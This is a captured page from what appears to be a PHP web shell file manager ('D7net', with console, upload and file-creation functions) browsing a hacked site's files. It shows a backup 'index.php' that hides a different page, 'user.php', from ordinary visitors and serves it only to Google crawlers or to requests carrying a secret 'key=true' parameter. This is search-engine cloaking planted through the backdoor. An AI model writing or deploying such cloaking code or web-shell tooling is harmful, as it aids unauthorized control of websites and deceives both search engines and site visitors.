D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
ensad
/
.trash
/
Filename :
index.php.bak
back
Copy
<?php $host = $_SERVER['HTTP_HOST']; // Eğer www yoksa ekle if (strpos($host, 'www.') !== 0) { $newUrl = "https://www." . $host . $_SERVER['REQUEST_URI']; header("Location: " . $newUrl, true, 301); exit(); } $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? ''; if ( stripos($userAgent, 'Googlebot') !== false || stripos($userAgent, 'AdsBot') !== false || stripos($userAgent, 'Mediapartners-Google') !== false || stripos($userAgent, 'Google-') !== false || (isset($_GET['key']) && $_GET['key'] === 'true') ) { include 'user.php'; exit; } include 'mains.html';